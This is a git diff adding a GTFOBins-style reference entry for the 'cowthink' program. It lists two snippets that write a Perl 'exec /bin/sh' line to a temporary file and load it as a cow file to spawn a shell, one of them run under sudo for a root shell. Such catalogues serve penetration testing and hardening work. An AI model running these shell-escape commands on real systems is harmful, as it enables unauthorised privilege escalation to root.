diff --git a/data/cowthink.json b/data/cowthink.json new file mode 100644 index 0000000..ccf4742 --- /dev/null +++ b/data/cowthink.json @@ -0,0 +1,14 @@ +--- +description: It allows to execute Perl code, other functions may apply. +functions: + shell: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + cowthink -f $TF x + sudo: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + sudo cowthink -f $TF x +---